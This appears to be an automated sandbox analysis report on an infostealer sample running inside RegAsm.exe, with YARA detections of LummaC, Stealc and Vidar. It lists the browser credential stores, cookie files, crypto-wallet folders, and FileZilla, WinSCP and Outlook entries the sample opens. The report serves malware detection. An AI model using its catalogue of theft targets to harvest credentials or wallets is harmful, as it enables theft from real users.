Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	8_2_00428DC4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	8_2_0042B5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	8_2_0042B580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	8_2_0042B623
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,	8_2_0042E6A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	8_2_22612CB6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	8_2_22612D38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	8_2_22612DF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_22613300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	8_2_22423AA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	8_2_225FFF17
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	8_2_22422112
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	8_2_22422112

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\userKECGDBFCBK.exe	Queries volume information: C:\Users\userKECGDBFCBK.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\userHJEBGHIEBF.exe	Queries volume information: C:\Users\userHJEBGHIEBF.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\HDGCAAFBFB.exe	Queries volume information: C:\ProgramData\HDGCAAFBFB.exe VolumeInformation
Source: C:\ProgramData\AFBFHDBKJE.exe	Queries volume information: C:\ProgramData\AFBFHDBKJE.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00416920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

2_2_00416920

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

2_2_00417850

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00417A30 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

2_2_00417A30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 00000008.00000002.2627711510.000000000106A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 15.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.1944128391.0000000003685000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.3965570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3965570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2244524947.000000000117A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1735460446.0000000003965000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 6.2.userKECGDBFCBK.exe.3925570.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.userKECGDBFCBK.exe.3925570.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2627711510.00000000010DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2624007982.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1906224894.0000000003925000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: userKECGDBFCBK.exe PID: 5828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1800, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: \jaxx\Local Storage\
Source: RegAsm.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: RegAsm.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: RegAsm.exe	String found in binary or memory: passphrase.json
Source: RegAsm.exe	String found in binary or memory: \jaxx\Local Storage\
Source: RegAsm.exe	String found in binary or memory: \Ethereum\
Source: RegAsm.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: RegAsm.exe	String found in binary or memory: Ethereum
Source: RegAsm.exe	String found in binary or memory: file__0.localstorage
Source: RegAsm.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: RegAsm.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: RegAsm.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: RegAsm.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: RegAsm.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000002.00000002.2244524947.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2627711510.000000000106A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1800, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 15.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.1944128391.0000000003685000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2068496934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.3965570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3965570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2244524947.000000000117A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
